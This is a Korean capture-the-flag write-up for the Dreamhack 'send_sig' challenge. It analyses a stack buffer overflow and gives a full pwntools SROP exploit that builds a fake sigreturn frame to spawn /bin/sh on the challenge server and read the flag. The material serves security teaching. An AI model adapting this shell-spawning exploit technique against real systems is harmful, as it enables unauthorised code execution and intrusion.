send_sig
The program forwards a signal number straight to the kernel; the exploit is choosing the right one.
문제 개요
문제 설명은 다음과 같다.
서버로 signal을 보낼 수 있는 프로그램입니다! 프로그램의 취약점을 찾고, 익스플로잇해 flag를 읽어보세요. flag는
/home/send_sig/flag.txt에 있습니다.
처음 프로그램을 실행하면 다음과 같은 화면이 출력된다.
++++++++++++++++++Welcome to dreamhack++++++++++++++++++
+ You can send a signal to dreamhack server. +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Signal:
문제 이름이 send_sig 이고 입력 프롬프트가 Signal: 이기 때문에, 처음에는 단순히 특정 signal 번호를 보내는 문제처럼 보인다. 하지만 바이너리를 분석해보면 실제 핵심은 stack buffer overflow 와 SROP(Sigreturn Oriented Programming) 이다.
취약점 분석
바이너리는 stripped 상태라서 main 심볼이 보이지 않았다. 그래서 disassembly 를 통해 주요 코드를 확인했다.
4010ba: 55 push rbp
4010bb: 48 89 e5 mov rbp, rsp
4010be: 48 83 ec 10 sub rsp, 16
4010c2: ba 07 00 00 00 mov edx, 7
4010c7: 48 8d 35 3a 0f 00 00 lea rsi, [rip + 3898] # 0x402008
4010ce: bf 01 00 00 00 mov edi, 1
4010d8: e8 73 ff ff ff call write
4010dd: 48 8d 45 f8 lea rax, [rbp - 8]
4010e1: ba 00 04 00 00 mov edx, 1024
4010e6: 48 89 c6 mov rsi, rax
4010e9: bf 00 00 00 00 mov edi, 0
4010f3: e8 68 ff ff ff call read
4010f9: c9 leave
4010fa: c3 ret
이 부분을 C 코드처럼 해석하면 대략 다음과 같다.
void vuln() {
char buf[8];
write(1, "Signal:", 7);
read(0, buf, 1024);
}
여기서 buf 는 rbp - 0x8 위치에 있다 (lea rax, [rbp - 8]). 그런데 read() 는 최대 1024바이트를 입력받는다 (mov edx, 1024). 즉, 8바이트짜리 버퍼에 1024바이트를 입력받는 stack buffer overflow 가 발생한다.
Offset 구하기
이번 문제에서 가장 중요한 부분은 return address 까지의 offset 을 구하는 것이다. 입력 버퍼는 buf = rbp - 0x8 에 있고, 함수의 stack 구조는 다음과 같다.
rbp - 0x8 → 입력 버퍼 시작
rbp → saved rbp
rbp + 0x8 → return address
우리가 덮고 싶은 것은 return address 이므로, 입력 버퍼 시작 위치부터 return address 까지의 거리를 계산한다.
return address - buf = (rbp + 0x8) - (rbp - 0x8) = 0x10 = 16 bytes
따라서 RIP offset 은 16바이트이다. 입력값은 다음과 같이 들어간다.
입력 0~7 바이트 → buf
입력 8~15 바이트 → saved rbp
입력 16~23 바이트 → return address
따라서 payload 의 기본 구조는 b"A" * 16 + p64(덮어쓸_주소) 가 된다.
/bin/sh 문자열 확인
strings 명령어로 바이너리 안의 문자열을 확인했다.
strings -a -t x ./send_sig
결과 중 /bin/sh 문자열이 존재했다.
2000 /bin/sh
2008 Signal:
바이너리가 No PIE 이므로 .rodata 의 주소는 고정되어 있다. 따라서 /bin/sh 문자열의 실제 주소는 0x402000 으로 사용할 수 있다.
SROP 개념
SROP 는 rt_sigreturn syscall 을 이용해 레지스터 값을 한 번에 조작하는 기법이다. Linux x86-64 에서 중요한 syscall 번호는 다음과 같다.
rt_sigreturn = 15
execve = 59
우리는 먼저 rax 를 15로 설정한 뒤 syscall 을 실행한다. 그러면 커널은 현재 stack 에 있는 fake sigreturn frame 을 읽고, 그 안에 있는 값으로 레지스터들을 복구한다. 이 fake frame 안에 다음 값을 넣으면:
rax = 59
rdi = 0x402000
rsi = 0
rdx = 0
rip = 0x4010b0
최종적으로 execve("/bin/sh", 0, 0); 이 실행된다. 즉, shell 을 얻을 수 있다.
Exploit 작성
최종 exploit 코드는 다음과 같다.
from pwn import *
context.arch = "amd64"
HOST = "host8.dreamhack.games"
PORT = 9132
pop_rax_ret = 0x4010ae
syscall_ret = 0x4010b0
bin_sh = 0x402000
p = remote(HOST, PORT)
frame = SigreturnFrame()
frame.rax = 59 # execve
frame.rdi = bin_sh # "/bin/sh"
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
payload = b"A" * 16
payload += p64(pop_rax_ret)
payload += p64(15) # rt_sigreturn
payload += p64(syscall_ret)
payload += bytes(frame)
p.sendafter(b"Signal:", payload)
p.sendline(b"cat /home/send_sig/flag.txt")
p.interactive()
Payload 구조 정리
payload 는 다음과 같은 구조이다.
"A" * 16 → return address까지 도달하기 위한 padding
pop rax ; ret → rax 값을 조작하기 위한 gadget
15 → rt_sigreturn syscall 번호
syscall ; ret → rt_sigreturn 실행
fake sigreturn frame → execve("/bin/sh", 0, 0)를 실행하기 위한 레지스터 상태
fake sigreturn frame 에는 다음 값이 들어간다.
rax = 59 # execve
rdi = 0x402000 # "/bin/sh"
rsi = 0
rdx = 0
rip = 0x4010b0 # syscall ; ret